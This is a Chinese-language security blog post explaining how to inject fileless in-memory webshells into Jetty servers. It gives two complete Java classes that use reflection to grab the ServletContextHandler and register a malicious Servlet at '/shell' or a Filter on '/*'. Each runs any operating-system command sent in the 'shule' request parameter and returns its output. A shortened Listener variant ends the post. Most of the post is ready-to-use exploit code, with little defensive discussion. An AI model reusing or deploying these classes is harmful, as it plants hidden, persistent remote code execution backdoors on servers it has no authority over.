Jetty Servlet与Filter型内存马

前言

本文在实现完 Jetty Listener 回显内存马后,Servlet 和 Filter 类型的内存马想必就是信手拈来了。阅读本文之前建议先阅读 https://sec.1i6w31fen9.top/2023/11/18/jetty-listener-%e5%9e%8b%e5%86%85%e5%ad%98%e9%a9%ac/ ,这样更好理解文章内容。

分析和实现过程

Servlet 型内存马

我注意到在设置 Servlet 的时候有如下代码:

idea64_pzeu9kGaLr

也就是直接可以通过 ServletContextHandler 进行添加 Servlet。我们之前分析 Jetty 的 Listener 内存马 的时候,通过一系列的反射操作能够成功获得 ServletContextHandler 对象。那么具体实现代码前半段部分不必改动,后面只需要将这个恶意类实现 Servlet 接口添加即可。完整代码如下,比较简单,这里就不再赘述,感兴趣的小伙伴可以翻阅之前的文章,更好的理解。

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.eclipse.jetty.server.HttpChannel;
import org.eclipse.jetty.server.HttpConnection;
import org.eclipse.jetty.server.Request;
import org.eclipse.jetty.servlet.ServletContextHandler;

import javax.servlet.*;
import java.io.IOException;
import java.io.InputStream;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.util.Scanner;

/**
 * @author Shule
 * CreateTime: 2023/11/18 16:05
 */
public class PoC4Servlet3 extends AbstractTranslet implements Servlet{
    static {
        try {
            Thread thread = Thread.currentThread();
            Field threadLocalsField = Thread.class.getDeclaredField("threadLocals");
            threadLocalsField.setAccessible(true); // 取消访问权限限制

            // 获取 threadLocals 字段的值,即 ThreadLocal.ThreadLocalMap 对象
            Object threadLocals = threadLocalsField.get(thread);
            Class<?> threadLocalMapClass = threadLocals.getClass();
            Field tableField = threadLocalMapClass.getDeclaredField("table");
            tableField.setAccessible(true);
            // 获取 table 数组
            Object[] table = (Object[]) tableField.get(threadLocals);
            HttpConnection httpConnection = null;
            for (Object entry : table) {
                if (entry != null) {
                    // 获取 entry 中的 value
                    Field valueField = entry.getClass().getDeclaredField("value");
                    valueField.setAccessible(true);
                    Object value = valueField.get(entry);
                    if (value != null && value.toString().contains("HttpConnection")) {
                        httpConnection = (HttpConnection) value;
                    }
                }
            }
            assert httpConnection != null;
            Field channelField = httpConnection.getClass().getDeclaredField("_channel");
            channelField.setAccessible(true);
            HttpChannel httpChannelOverHttp = (HttpChannel) channelField.get(httpConnection);
            Field requestField = Class.forName("org.eclipse.jetty.server.HttpChannel").getDeclaredField("_request");
            requestField.setAccessible(true);
            Request request = (Request) requestField.get(httpChannelOverHttp);

            ServletContextHandler.Context context = (ServletContextHandler.Context) request.getServletContext();
            Class<?> contextClass = context.getClass();
            // 获取 InnerClass 类型的字段 "this$0",它引用外部类对象
            Field outerField = contextClass.getDeclaredField("this$0");
            outerField.setAccessible(true); // 取消访问限制
            // 获取外部类对象 ServletContextHandler
            ServletContextHandler servletContextHandler = (ServletContextHandler) outerField.get(context);

            // 直接使用 servletContextHandler 进行添加
            servletContextHandler.addServlet(PoC4Servlet3.class, "/shell");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }

    @Override
    public void init(ServletConfig servletConfig) throws ServletException {

    }

    @Override
    public ServletConfig getServletConfig() {
        return null;
    }

    @Override
    public void service(ServletRequest request, ServletResponse response) throws ServletException, IOException {
        String cmd = request.getParameter("shule");
        if (cmd != null) {
            try {
                InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
                response.setContentType("text/html; charset=UTF-8");
                PrintWriter writer = response.getWriter();
                Scanner scanner = new java.util.Scanner(inputStream).useDelimiter("\\A");
                String result = scanner.hasNext() ? scanner.next() : "";
                scanner.close();
                writer.write(result);
                writer.flush();
                writer.close();
            } catch (IOException e) {
                e.printStackTrace();
            } catch (NullPointerException n) {
                n.printStackTrace();
            }
        }
    }

    @Override
    public String getServletInfo() {
        return null;
    }

    @Override
    public void destroy() {

    }
}

并且由于 Servlet 带有 Request 和 Response 对象,回显的问题不需要再额外考虑。

firefox_n5TV1qzYuL

Filter 型内存马

我们又注意到在添加 Filter 的代码是这样的:

idea64_KsAv3jYLCA

跟前面一样,不多说了,直接给出实现代码:

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.eclipse.jetty.server.HttpChannel;
import org.eclipse.jetty.server.HttpConnection;
import org.eclipse.jetty.server.Request;
import org.eclipse.jetty.servlet.ServletContextHandler;

import javax.servlet.*;
import java.io.IOException;
import java.io.InputStream;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.util.EnumSet;
import java.util.Scanner;

/**
 * @author Shule
 * CreateTime: 2023/11/19 0:14
 */
public class PoC4Filter extends AbstractTranslet implements Filter {
    static {
        try {
            Thread thread = Thread.currentThread();
            Field threadLocalsField = Thread.class.getDeclaredField("threadLocals");
            threadLocalsField.setAccessible(true); // 取消访问权限限制

            // 获取 threadLocals 字段的值,即 ThreadLocal.ThreadLocalMap 对象
            Object threadLocals = threadLocalsField.get(thread);
            Class<?> threadLocalMapClass = threadLocals.getClass();
            Field tableField = threadLocalMapClass.getDeclaredField("table");
            tableField.setAccessible(true);
            // 获取 table 数组
            Object[] table = (Object[]) tableField.get(threadLocals);
            HttpConnection httpConnection = null;
            for (Object entry : table) {
                if (entry != null) {
                    // 获取 entry 中的 value
                    Field valueField = entry.getClass().getDeclaredField("value");
                    valueField.setAccessible(true);
                    Object value = valueField.get(entry);
                    if (value != null && value.toString().contains("HttpConnection")) {
                        httpConnection = (HttpConnection) value;
                    }
                }
            }
            assert httpConnection != null;
            Field channelField = httpConnection.getClass().getDeclaredField("_channel");
            channelField.setAccessible(true);
            HttpChannel httpChannelOverHttp = (HttpChannel) channelField.get(httpConnection);
            Field requestField = Class.forName("org.eclipse.jetty.server.HttpChannel").getDeclaredField("_request");
            requestField.setAccessible(true);
            Request request = (Request) requestField.get(httpChannelOverHttp);

            ServletContextHandler.Context context = (ServletContextHandler.Context) request.getServletContext();
            Class<?> contextClass = context.getClass();
            // 获取 InnerClass 类型的字段 "this$0",它引用外部类对象
            Field outerField = contextClass.getDeclaredField("this$0");
            outerField.setAccessible(true); // 取消访问限制
            // 获取外部类对象 ServletContextHandler
            ServletContextHandler servletContextHandler = (ServletContextHandler) outerField.get(context);
            // 直接添加
            servletContextHandler.addFilter(PoC4Filter.class, "/*", EnumSet.of(DispatcherType.REQUEST));
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    @Override
    public void init(FilterConfig filterConfig) throws ServletException {

    }

    @Override
    public void doFilter(ServletRequest request, ServletResponse response, FilterChain filterChain) throws IOException, ServletException {
        String cmd = request.getParameter("shule");
        if (cmd != null) {
            try {
                InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
                response.setContentType("text/html; charset=UTF-8");
                PrintWriter writer = response.getWriter();
                Scanner scanner = new java.util.Scanner(inputStream).useDelimiter("\\A");
                String result = scanner.hasNext() ? scanner.next() : "";
                scanner.close();
                writer.write(result);
                writer.flush();
                writer.close();
            } catch (IOException e) {
                e.printStackTrace();
            } catch (NullPointerException n) {
                n.printStackTrace();
            }
        }
        filterChain.doFilter(request, response);
    }

    @Override
    public void destroy() {

    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

结语

Jetty 内存马注入的核心是获得 servletContextHandler 对象。

这里再给出 Listner 内存马的化简版本,可以将之前的

            // 获取 ServletContextHandler 的 _servletRequestListeners 字段
            Field _servletRequestListenersField = servletContextHandler.getClass().getSuperclass().getDeclaredField("_servletRequestListeners");
            _servletRequestListenersField.setAccessible(true);
            List<ServletRequestListener> servletRequestListeners = (List<ServletRequestListener>) _servletRequestListenersField.get(servletContextHandler);

            // 加载恶意的 Listener
            if (servletRequestListeners != null) {
                servletRequestListeners.add(new PoC4Listener());
                System.out.println("Listener Ok!");
            } else {
                List<ServletRequestListener> servletRequestListeners1 = new ArrayList<>();
                servletRequestListeners1.add(new PoC4Listener());
                _servletRequestListenersField.set(servletContextHandler, servletRequestListeners1);
                System.out.println("add a new Listener Ok!");
            }

改为

servletContextHandler.addEventListener(new PoC4Listener());

即可。

版权声明:除特殊说明,博客文章均为 Shule 原创,依据 CC BY-SA 4.0 许可证进行授权,转载请附上出处链接及本声明。
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇